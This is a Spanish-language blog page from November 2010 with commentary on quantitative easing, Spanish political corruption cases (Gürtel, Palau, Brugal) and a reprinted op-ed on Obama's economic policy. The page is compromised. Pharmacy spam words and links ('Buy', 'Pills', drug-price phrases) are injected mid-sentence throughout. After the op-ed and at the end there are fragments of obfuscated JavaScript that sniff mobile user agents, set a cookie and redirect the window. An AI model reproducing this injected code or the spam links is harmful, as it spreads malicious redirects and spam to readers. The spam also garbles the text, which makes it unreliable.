• Eric Maskin imparte hoy una conferencia en FEDEA sobre el papel de la investigación en economía aplicada para la formulación de políticas económicas. Intervienen en el acto Josep Oliú y Fernández Ordoñez.

    Ya saben que Bernanke consiguió comprar una avioneta para, desde ella lanzar dinero para que lo recogiera quien pudiera. La Reserva Federal comprará hasta final de 2011 bonos a la banca por valor de 429.000 millones.

    En el blog de Marco Antonio Moreno se publico el pasado abril un pequeño texto al que titulo: «»La llegada del «»momento Missky«» y la gran burbuja de derivados»» cuyo contenido integro adjuntamos en el link.

    El periodista Pablo Rodríguez Suanzes aconsejaba en el suplemento Mercados de EL MUNDO del pasado 31 octubre una serie de enlaces sobre la Expansión cuantitativa y QE2 (http://blogs.ft.com/economistsforum/ ). Por nuestra parte le vamos a aconsejar la lectura de alguna que otra opinion, preferentemente de la escuela liberal, para que se hagan al loro.

    En primer lugar contamos con el analista Michael Lewitt  «»Sean cauteloso con lo que desean»»

    Luego tienen al profesor emérito Pedro Schwartz que el pasado jueves publico en EXPANSION bajo el titulo ¡Es la economía!

    También pueden leer a Ricardo Martínez Rico, que fue Secretario de Estado de Presupuestos con Rodrigo Rato  en una opinion, también publicada en EL MUNDO, titulada: Consolidación frente a crecimiento, dilema engañoso.

    Seguro que les resulta un placebo el poder leer, sobre este asunto al profesor (UPF) José García Montalvo con su opinion: Consolidación… ¿expansiva?

    Por último el diablo keynesiano Paul Krugman llegaba a decir en Order EL PAIS Buy el pasado 31 de octubre que «»los historiadores futuros recordarán las elecciones de 2010 como una catástrofe para EE UU»».

     

    LAS FORMULAS DE BELEN ESTEBAN PARA ARREGLAR ESPAÑA

     Es de suponer que ustedes bien asignadas las prioridades de lecturas de la prensa española y que en los primeros lugares no tendrán a EL MUNDO que dirige Pedro J. Lo digo porque en esta deriva populista de los medios de comunicación en EL MUNDO del pasado sábado una periodista llamada Marta Pescador relataba un total de diez propuestas que la famosa Belén Esteban ofreció el pasado 3 de noviembre a los televidentes de Telecinco.

     Para Fernando Onega en LA VANGUARDIA del pasado sábado «»Usted puede ser del Tea Party, le estoy proponiendo un juego tipo táchese lo que no proceda. Si usted cree que hay una conspiración para descristianizar España; si alguna vez ha lamentado que los inmigrantes invadan nuestros servicios públicos; que la política de Zapatero destruye la familia; que las autonomías son insostenibles; que los jóvenes no hacen más que beber y fornicar; que en las escuelas sólo se aprende el desprecio a la cultura del esfuerzo; que hace falta recuperar el principio de autoridad; que los musulmanes se vayan a hacer mezquitas a sus países; que la tolerancia es debilidad, o que Rajoy es un blando, usted tiene el virus. Ahora, repase esas notas, piense cuántas veces ha oído esas cosas, y dígame si hay o no hay un Tea Party español»».

    Muchas veces hemos dicho que el PSOE va a perder inevitablemente todas y cada una de las elecciones a las que se someta durante los próximos meses.  Ya lo decía el profesor (UCM) Ignacio Sánchez-Cuenca cuando, reflexionando sobre el discurso de Zapatero de mayo pasado dice que «»sin medidas sociales, la desmovilización de la izquierda acabará en 2012 con la etapa socialista»». Cuanto más tarde el Gobierno en hacer sufrir a los ciudadanos menos margen tendrá para hacer política económica pre-electoral. Porque siempre tendrá a los mercados de deudores exigiendo pruebas y más pruebas de la decisión del Gabinete a aprobar una reforma ashwagandha churan price in india dolorosa online de las pensiones públicas. Para Rajoy es mucho mejor que ese tipo de daños  los haga Zapatero porque así no solo erosionará la base social electoral de los socialistas sino que tendrá ya hecha la terea sucia del ajuste económico. Irlanda acaba de anunciar una nueva oleada de recortes públicos. El Purchase Banco de España ya ha dicho que la economía se ha estancado temporalmente pero que cualquier recuperación del año que viene no traerá consigo generación de empleo. Y la creación de empleo es la base del cambio de las expectativas de los agentes económicos, sean productores o consumidores, acreedores o deudores. Va a ser inútil esa intención de comunicar mejor como si hubiera que comunicar algo distinto de lo de hacer sufrir y sufrir. Cuando los mercados de deudores huelen sangre se vuelven insaciables.

    Los hechos hayan demostrado y van a seguir demostrando que  el ajuste  de la recesión se  hecho vía cantidades (despidos) en vez de vía precios (salarios) por lo que los sindicatos ya no podrán ser más   la cadena de transmisión de  una creíble  política  económica de salida rápida y financiable  de  la recesión. Y menos  sin  un cambio previo en el mecanismo decisorio  y generacional en  UGT.

    Los cambios por venir serán rápidos y brutales. El PSOE perderá todo el poder político  que tenga en cualquier sitio. De eso vive mucha gente directa e indirectamente.

    Las reformas sociales de género de vida que el PSOE  haya  legislado serán  mantenidas con restricciones y sin financiación  pública. De ese género de vida vive mucha gente directa e indirectamente.

    Desaparecerá la sociedad basada en la gratuidad de los servicios públicos. «Nada será gratis»  de nuevo para quien lo quiera. De esa  gratuidad vive mucha gente, directa e indirectamente.

    Se eliminarán  las subvenciones indiscriminadas al gasto social, también al educacional y sanitario.

    Se cerrarán todas las empresas públicas. 

    Se suprimirán las prejubilaciones.

    Se restringirá  la causalidad de los subsidios al desempleo.   

    Todo ello traerá consigo una lenta transformación  de la  sociedad española que ahora conocemos. Ese cambio empobrecerá a unos muchos y enriquecerá  a otros muchos pocos.

    En esta tesitura el comportamiento racional de la oposición será negarse a cualquier Pacto de Estado de un Gobierno de Coalición. Algo parecido a lo que hizo Felipe González con Adolfo Suarez en el 82. Se mire por donde se mire hay que darle razón al ex ministro Jordi Sevilla cuando habla de la España bloqueada y dice que «»En todos estamos bloqueados, porque no se pueden hacer en serio sin un gran pacto político entre, al menos, los dos grandes partidos. Pacto que, además, ayudaría a reforzar la confianza de los mercados financieros en nuestro país, rebajando, de manera inmediata y sustancial, nuestra prima de riesgo, con los beneficios que ello comportaría para todos.  Si la España oficial está bloqueada entre la realidad y sus inmensas posibilidades, ¿quién la desbloqueará? El des bloqueador que la desbloquee, si sabe leer las encuestas, además, ganará las elecciones. Seguro»».

    Ya verán como alguno de los asesores de la Moncloa o alguno de los presidentes de las empresas del Ibex35 terminan aconsejando a la Ministra Salgado para que lleve al primer Consejo de Ministros que haya una amnistía fiscal al dinero negro parecida a la que se produjo con la emisión de deuda pública especial que aplico Felipe González en 1991. O que aconsejen también privatizar lo que queda de las empresas del Estado: Renfe, Aena, Loterías o Iberia. Así lo proponía Pedro J. en EL MUNDO del pasado domingo tentando a Carlos Ocaña con los 43.000 millones de euros, el 39% del déficit público que podrían lograrse de vender lo que queda de las joyas de la corona del Estado.

     

    http://afisenihusni.mhs.narotama.ac.id/2018/02/02/npxl-order/

  •  

     

     «»Como pudo alguien evidentemente inteligente como Clinton
    fracasar en la adquisión o puesta en práctica de esa inteligencia. La respuesta
    es que las personas con mucho poder adoptan tres actitudes
    que les predisponen a la estupidez: una sensación omnisciencia, una de
    omnipotencia y otra de invulnerabilidad. La sensación
    de omnisciencia es el resultado de tener a su disposición cualquier información que desee. Order aciclovir compresse 400 mg costo
    La sensación de Omnipotencia es el resultado del
    enorme poder que ejerce. La sensación de invulnerabilidad proviene de
    la ilusión de estar completamente
    protegido, como por un enorme equipo de gente. Los líderes
    pueden protegerse de las personas que no les adulan.
    La solución sugerida por Harry Truman es que los líderes muy poderosos
    que deseen ardientemente una amistad se compren un perro. Pills
    La lealtad de un perro es siempre incondicional»»

    «Por que las personas inteligentes pueden ser tan estúpidas»
    Robert J. Sternberg
    (ed.) Ares y Mares 2003.

     

     

    La Guardia Civil acaba de descubrir, entre los hallazgos entre el patrimonio personal del ex presidente balear y ex ministro del PP Jaume Matas, un cuadro de Tapies y otro de Sicilia, que resultó habían sido comprados  por el constructor del velódromo Palma Arena.

    En EL PAIS se publica hoy que la policía hace poco encontró un sistema de circulación de billetes de http://www.babycaredaily.com/buy-rocaltrol-generic-name/ 500 euros entre los apuntes contables de la corrupción de la trama Gürtel. El periódico publica incluso una fotocopia del detalle de los sobres repartidos. A estas alturas, después de un par de años seguidos de la policía descubriendo corruptos, lo importante es que Roldan ha conseguido cambiar unos pocos años de cárcel por un millonario fondo de pensiones del que podrá disfrutar con impunidad ya en estos momentos. Es una lección de maestros eso de pagar un poco por un beneficio elevado. Ha demostrado ser buen gestor eficaz de lo propio. Porque aquí nadie devuelve el dinero robado salvo, quizás, García Pozuelo que parece que ha devuelto 20 millones al fisco convirtiéndose así en el único implicado de Gürtel que salda su deuda. Ni los corruptos devuelven el dinero ni los cómplices necesarios en la corrupción (abogados, expertos fiscalistas, auditores) son acusados de auxilio necesario para la corrupción. Ya saben que Economía sigue quejándose de que los abogados «no están acatando la Ley de Prevención de blanqueo de capitales…»

    Pero tampoco pagan los políticos descubiertos en fraude de corrupción. Matas ha desaparecido de la escena y yo no sé  si ha vuelto al paraíso fiscal de Delaware. En la España del franquismo había un periodista extranjero  mítico entre la oposición política a la dictadura. Se trataba de Walter Haubrich http://www.climadis.fr/cheap-danazol-treatment/ , corresponsal del Frankfurter Allgemeine Zeitung. Haubrich ahora ya está jubilado y desde su despacho en Madrid mantiene una crónica para un diario alemán de Baleares. El pasado septiembre Charo Nogueira le entrevistaba para EL PAIS y él, con mucha experiencia de basura a sus espaldas decía «»los medios de comunicación españoles están más politizados que la gente… me enfada la impunidad en torno a la corrupción»». La fiscalía anticorrupción de Alicante acusa a la alcaldesa de la ciudad de amañar el plan urbano en favor del dueño del Hércules CF y la fiscalía ha pedido imputar al tesorero de CDC y a Ángel Colom por las comisiones del caso Palau.

    Los políticos eluden la cárcel, no se consideran cómplices necesarios y en bastantes casos vuelven a ser elegidos por los ciudadanos. Recuerden al famoso Pills Fabra de Castellón.  Muchos ciudadanos piensan que esas son las reglas del juego. La población apenas percibe perjuicio directo y tal y como contaba un reportaje de EL PAIS de abril pasado los escándalos solo afectan al voto a largo plazo. La situación de desorden en el control político de la economía corrupta no solo es prerrogativa española. En EL PAIS de mayo pasado se describían varios de los grandes robos “auditoria mediante” que ha habido estos últimos años. Desde Enron hasta Madoff. El profesor Víctor Lapuente http://blogtiengviet.com/purchase-trazodone-medication/  intenta comprender la paradoja de la corrupción por la que políticos y partidos relacionados con ellas mantienen altos niveles de aplauso popular. Para el famoso Josep Ramoneda las cúpulas de los partidos políticos protegen a sus afiliados porque «se trata de uno de los nuestros» Para Ramoneda «»Evitar la corrupción está en manos de los ciudadanos. El día en que la corrupción cuente a la hora de decidir su voto, la actitud de los partidos cambiará rápidamente. A cada cual su responsabilidad»».

     

    En los casos Malaya, Gürtel y Palau siempre aparece el mismo modelo de negocio público-privado. Un grupo de políticos, al amparo del sistema electoral de listas cerradas, han dando un ejemplo continuado de cómo puede paralizarse una la actividad inversora de la Administración pública por causa de una de las variantes del mercado de corrupción económica. Un mercado que es como cualquier otro, con su oferta y demanda unas veces entre particulares y empresas privadas y en otras ocasiones entre éstas y el sector público.
    En estos tres casos  concretos Malaya, Gürtel y Palau  se trata de un mercado en el que la oferta está constituida por gente emprendedora y audaz que se encarama a la política en busca de rentas para sí y para terceros. Y la demanda busca como influir con discreción sobre la capacidad de regular y de repartir el gasto público. Salvo casos concretos, el mercado de la corrupción sería, pues, un mercado “de oferta” determinado por la capacidad de decisión que tengan los corrompidos: no todos los funcionarios de alto nivel pueden influir en la regulación o en la asignación del gasto. Por eso es que la existencia de corrompidos es previa y condición necesaria para que haya corruptores. Sin embargo, de los primeros se habla mucho menos que de los segundos. Y la corrupción estará tanto más protegida cuanto mayor sea la cantidad a «repartir para todos».
    La corrupción (sea negra, gris o blanca) siempre ha existido en todos los países. Y, en todos ellos, han existido leyes para perseguirla que han dado poco resultado porque la corrupción es muy difícil de probar. La eficacia de la legislación es preventiva y sólo suele darse allí donde se combina el rechazo social con una inspección eficaz del Estado y con el abandono voluntario, por parte de las autoridades públicas, de la capacidad de actuación discrecional en la vida económica. Esto es así porque la corrupción es una decisión de los corruptores/corrompidos que ponderan el beneficio que pueden obtener si sus acciones no son detectadas, el castigo asociado a sí lo es y a la probabilidad de detección existente. Ni el rechazo social ni la inspección del Estado han sido suficientes casi nunca para reducir la corrupción. Solo la policía y quizás Garzón y otros jueces se han implicado en la tarea benéfica de cortar con la corrupción política persiguiendo a los políticos implicados. Sin la fiscalía anticorrupción  mejor sería el Estado reducido. Aunque la historia dice que el mayor castigo posible para los corruptos descubiertos es que tengan que devolver todo el dinero del beneficio que hayan conseguido con el ejercicio de su corrupción. El primer Gobierno español que meta en la cárcel a los corruptos y consiga que devuelvan el dinero seguro que conseguirá el aplauso del voto popular.

     

  • Noticias maquetadas 10.11.2010

    Obama, tocado en el ecuador de la legislatura

    Pedro Schwartz

    Buy

    buy advair in mexico ¡Es la economía!

    El elemento fundamental de la derrota electoral del partido de Obama es que la mayoría del electorado le culpa de una mala gestión económica. ¿Tienen razón esos votantes desafectos? Cierto que hay más razones para el descontento, por ejemplo la política exterior. Ha cundido la convicción, no del todo infundada, de que el presidente no ha sabido mantener el protagonismo de EEUU en el escenario internacional: los activistas de la Tea Party incluso le acusan de no creer (como yo también lo creo) en el papel poco menos que providencial de la gran República en la marcha de la historia moderna.

    Pero es la crisis económica la que explica el fracaso de Obama tras apenas dos años de presidencia. No hay que tomar, sin embargo, esta constatación a la manera de Zapatero, como si la mala situación de la economía americana fuera algo que hubiera golpeado a los demócratas desde fuera, como un tornado o http://ggconnections.com/2018/02/02/cheap-hytrin-prostate/ un terremoto del que no fueran responsables. Obama heredó una mala situación financiera y económica del presidente Bush, pero sus medidas han contribuido a prolongar la recesión y a crear la amenaza de una recaída.

    Precedentes

    Para que se vea lo justificado de atribuir a Obama un importante grado de responsabilidad por lo débil de la recuperación de la economía estadounidense tras la gran contracción de 2007 a 2009, es necesario compararla con la depresión de los años 1929 a 1940. El último economista en hacer esta necesaria comparación ha sido Robert Lucas, en una reciente y muy interesante conferencia en la Fundación Rafael del Pino. La actual crisis ha sido Purchase menos grave que la de los años treinta, y no por casualidad. En efecto, la Reserva Federal y el Departamento del Tesoro han aprendido la lección impartida por Milton Friedman y Anna Schwartz, en 1954, de que los sistemas bancarios modernos no pueden quedarse sin liquidez. De 1929 a 1933, hubo tres episodios de carreras contra los bancos de depósito, sin que la Reserva Federal supiera intervenir para mantener la oferta monetaria en el nivel adecuado. La consecuencia de este fallo fue una reducción del dinero básico y de los depósitos (que también son dinero) en algo más de la mitad.

    Esa falta de liquidez de empresas y consumidores individuales les llevó a intentar recomponer su caja recortando drásticamente los gastos de inversión y de consumo, lo que llevó en esos años a una reducción del gasto nominal en bienes y servicios del 58% nada menos. En esta primera década del siglo XXI, por el contrario, se ha evitado un colapso de liquidez de tan grave magnitud. Se planteaba ahora una dificultad adicional para que las autoridades desempeñaran debidamente el papel de prestamistas de última instancia definido por Friedman y por Schwartz: los bancos de depósito recibieron sin fallo la liquidez necesaria, pero había otras instituciones financieras no bancarias que no existían en los años treinta del siglo pasado. Se trataba de los bancos de negocios y de las aseguradoras, como Lehman Brothers y AIG, que habían repartido a troche y moche riesgo financiero por el mundo entero y que no estaban bajo el paraguas del banquero central. El miedo a fomentar una actitud de riesgo inducido o moral hazard en el sistema financiero hizo dudar a la Reserva Federal y al secretario Paulson sobre el camino a seguir. Dejaron hundirse a Lehman y nacionalizaron AIG. A toro pasado, es muy fácil criticar lo que hicieron.

    Entra en escena Obama con una política económica añadida a la política monetaria de Purchase mantenimiento de la liquidez: la de reactivación directa de la economía productiva. Tanto el Gobierno americano como la Reserva Federal (que ha perdido su independencia y es ahora un departamento más del Gobierno) han creído que, con sus medidas, eran capaces de reanimar la producción, incentivar la demanda y reducir el paro. Para poner en práctica esa política neo-keynesiana, el Gobierno de Obama no ha dudado en multiplicar el déficit; y el Consejo de Gobernadores de la Fed, encabezado por Bernanke, en comprar deuda con dinero creado de la nada.

    Intervencionismo

    Así, se repiten los errores de Franklin D. Roosevelt y su New Deal. Superado el problema de la falta de liquidez, las autoridades de EEUU han decido aumentar su intervención en la economía y la sociedad, de la misma manera y con los mismos resultados negativos de entonces. Como bien subrayó Lucas, Obama repite la actitud de hostilidad frente al mundo empresarial, acusado de codicia sin límite. Amenazan con nuevos impuestos contra «los ricos». Ha impuesto una reforma sanitaria apoyada en la mentira, el disimulo y la coacción: ni puede ser verdad que con se reducirá el gasto público; ni es aceptable que para financiarla se reduzcan los beneficios del Medicare de los mayores; ni es conforme a la tradición americana que quienes se nieguen a asegurarse contra la enfermedad puedan acabar en la cárcel. La nueva ordenación de la actividad financiera confiere poderes mayores e indefinidos a los reguladores. Obama no ha dudado en usar ríos de dinero público para salvar empresas sindicalizadas del sector del automóvil de Chicago, a costa del contribuyente y con daño a los fabricantes solventes de vehículos de otros Estados de la Unión. Por fin, nada ha hecho por embridar a Fanny Mae y Freddy Mac y deshacer el espejismo del «sueño americano» de una casa en propiedad para cada familia.

    Por suerte, la conquista de la Cámara Baja por los republicanos atará las manos de un presidente aquejado de activismo irresponsable.

    m\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

  • Noticias maquetadas 10.11.2010

    SERGIO SAMPEDRO / Alicante

    Buy

    El fiscal acusa a la alcaldesa de Alicante de amañar el plan urbano
    La primera edil admite que viajó gratis en el yate del constructor Enrique Ortiz

    El caso Brugal sigue ampliando el círculo de implicados en el Partido Popular (PP). La Fiscalía Anticorrupción de Alicante acusa a la alcaldesa de esa ciudad, Sonia Castedo, de «amañar» el nuevo plan urbanístico local -que actualmente revisa la Generalitat Valenciana- para que el promotor alicantino Enrique Ortiz -dueño del Hércules C.F., imputado por esta causa y vinculado a la supuesta financiación ilegal del PP- resultase beneficiado por la recalificación de terrenos en diversas zonas de desarrollo.

    Según el fiscal, la alcaldesa recibió dádivas: tres viajes (dos a Andorra y uno a Ibiza en yate), un Mini Cooper que pidió para una amiga y la colocación de varias personas de su confianza en empresas que gestiona Ortiz.

    Por todo ello, el Ministerio Público sostiene que Sonia Castedo ha podido incurrir en posibles delitos de revelación de información privilegiada, tráfico de influencias y cohecho. Como pruebas, Briones cita una serie de conversaciones entre la alcaldesa, Ortiz y el jefe del equipo redactor del plan urbanístico, Jesús Quesada, en las que supuestamente queda demostrado que se produjeron reuniones «veladas y no oficiales» para facilitar datos al empresario, y en las que se acordó una mejora en los aprovechamientos urbanísticos en cuatro planes, entre los que destaca el desarrollo del entorno del estadio del Hércules.

    Esta investigación se produjo como consecuencia de las escuchas relacionadas con el caso Brugal, en el que están imputados Ortiz y el presidente de la Diputación de Alicante, José Joaquín Ripoll, que también ocupa el cargo de concejal en el Ayuntamiento.

    Castedo apareció ayer en la rueda de prensa, convocada con urgencia una hora antes, armada con informes técnicos y jurídicos para, dijo, «adelantarse a los acontecimientos [en referencia a posibles filtraciones de las pesquisas policiales]» y «explicar pormenorizadamente, con detalle, los errores que, intencionadamente o no, se desprenden de» los informes que han elaborado la Policía y el Ministerio Público. En la comparecencia contestó, una a una, todas las acusaciones que el fiscal hace en su escrito, e incluso reconoció haber recibido algunos obsequios.

    En la cuestión urbanística, sin embargo, fue tajante: «Enrique Ortiz no consiguió nada de lo que pidió». Para probarlo, entregó las fichas técnicas de todos los planes en los que supuestamente se benefició al empresario, y alegó que «en ninguno se ha producido un incremento en los aprovechamientos» desde la primera aprobación provisional del Plan General, en octubre de 2008.

    En cuanto a los regalos, mostró las facturas que ella misma pagó de los dos viajes que hizo a Andorra en invierno de 2008 y 2009 (por 2.672 y 1.820 euros, respectivamente) y del Mini Cooper que una amiga suya adquirió a una de las empresas de Ortiz, el Grupo Cívica, por 5.000 euros, «ya que era de tercera mano». Sí reconoció haber realizado el viaje a Ibiza en yate -el mismo en el que viajó Ripoll- en verano del año pasado y de haber pedido que el empresario colocase a gente «agobiada por la situación económica». «No sólo es rotundamente cierto, sino que lo volveré a hacer», señaló.

    http://chr-centre.org/?p=7172
    Buy

    |ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

Calendario de artículos

noviembre 2010
L M X J V S D
1234567
891011121314
15161718192021
22232425262728
2930  

Artículos anteriores